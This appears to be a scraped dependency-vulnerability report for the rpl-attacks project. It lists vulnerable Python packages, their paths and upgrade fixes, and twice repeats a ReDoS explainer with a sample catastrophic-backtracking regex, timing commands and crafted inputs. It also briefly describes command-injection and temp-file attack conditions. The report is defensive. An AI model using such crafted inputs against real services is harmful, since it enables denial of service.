Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade idna to version 3.15 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Integer Overflow or Wraparound. An attacker can cause unexpected behavior by supplying a font where each glyph advances by an excessively large amount.
Remediation
Upgrade pillow to version 12.2.0 or higher.
References
medium severity
- Vulnerable module: pygments
- Introduced through: pygments@2.17.2 and grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › pygments@2.17.2Remediation: Upgrade to pygments@2.20.0.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › pygments@2.17.2Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the AdlLexer class in the archetype.py file. A user can cause excessive resource consumption.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade pygments to version 2.20.0 or higher.
References
medium severity
- Vulnerable module: requests
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › requests@2.31.0Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Insecure Temporary File via the extract_zipped_paths function. An attacker can leverage unauthorized file replacement by pre-creating a malicious file in the system's temporary directory prior to extraction.
Note: Only applications that call extract_zipped_paths() directly are impacted.
Workaround
This vulnerability can be mitigated by setting the TMPDIR environment variable to a directory with restricted write access.
Remediation
Upgrade requests to version 2.33.0 or higher.
References
medium severity
- Module: certifi
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › requests@2.31.0 › certifi@2026.11.20
MPL-2.0 license
medium severity
- Module: paramiko
- Introduced through: fabric@3.2.3 and fabric3@1.14.post1
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric@3.2.3 › paramiko@3.5.1
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric3@1.14.post1 › paramiko@3.5.1
LGPL-3.0 license
low severity
- Vulnerable module: numpy
- Introduced through: numpy@1.21.3, matplotlib@3.5.3 and others
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › numpy@1.21.3Remediation: Upgrade to numpy@1.22.0.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to pandas@2.1.0.
Overview
numpy is a fundamental package needed for scientific computing with Python.
Affected versions of this package are vulnerable to Buffer Overflow due to missing boundary checks in the array_from_pyobj function of fortranobject.c. This may allow an attacker to conduct Denial of Service by carefully constructing an array with negative values.
Remediation
Upgrade numpy to version 1.22.0 or higher.
References
low severity
- Vulnerable module: numpy
- Introduced through: numpy@1.21.3, matplotlib@3.5.3 and others
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › numpy@1.21.3Remediation: Upgrade to numpy@1.22.0.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to pandas@2.1.0.
Overview
numpy is a fundamental package needed for scientific computing with Python.
Affected versions of this package are vulnerable to Denial of Service (DoS) due to an incomplete string comparison in the numpy.core component, which may allow attackers to fail the APIs via constructing specific string objects.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade numpy to version 1.22.0rc1 or higher.
References
low severity
- Vulnerable module: numpy
- Introduced through: numpy@1.21.3, matplotlib@3.5.3 and others
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › numpy@1.21.3Remediation: Upgrade to numpy@1.22.2.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › numpy@1.21.3Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › pandas@1.3.5 › numpy@1.21.3Remediation: Upgrade to pandas@2.1.0.
Overview
numpy is a fundamental package needed for scientific computing with Python.
Affected versions of this package are vulnerable to NULL Pointer Dereference due to missing return-value validation in the PyArray_DescrNew function, which may allow attackers to conduct Denial of Service attacks by repetitively creating and sort arrays.
Note: This may likely only happen if application memory is already exhausted, as it requires the newdescr object of the PyArray_DescrNew to evaluate to NULL.
Remediation
Upgrade numpy to version 1.22.2 or higher.
References
low severity
- Vulnerable module: flask
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › flask@2.2.5Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in the session object. An attacker can cause sensitive user-specific responses to be cached and served to other users by leveraging a caching proxy that does not ignore responses with cookies, when the application does not set a Cache-Control header and accesses the session only for keys without mutating or accessing values.
Note:
This is only exploitable if the application is hosted behind a caching proxy that does not ignore responses with cookies, does not set a Cache-Control header to indicate that a page is private or should not be cached, and accesses the session in a way that does not access the values, only the keys, and does not mutate the session.
Remediation
Upgrade flask to version 3.1.3 or higher.
References
low severity
- Vulnerable module: paramiko
- Introduced through: fabric@3.2.3 and fabric3@1.14.post1
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric@3.2.3 › paramiko@3.5.1Remediation: Upgrade to fabric@3.2.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric3@1.14.post1 › paramiko@3.5.1Remediation: Upgrade to fabric3@1.14.post1.
Overview
paramiko is a library for making SSH2 connections (client or server).
Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm in the RSA key handling by allowing the use of the SHA-1 algorithm. An attacker can compromise the integrity of cryptographic operations by exploiting weak cryptographic hashing.
Remediation
Upgrade paramiko to version 5.0.0 or higher.
References
low severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Command Injection via the get_command function. An attacker can execute arbitrary commands by supplying a file path containing shell metacharacters.
Remediation
Upgrade pillow to version 12.3.0 or higher.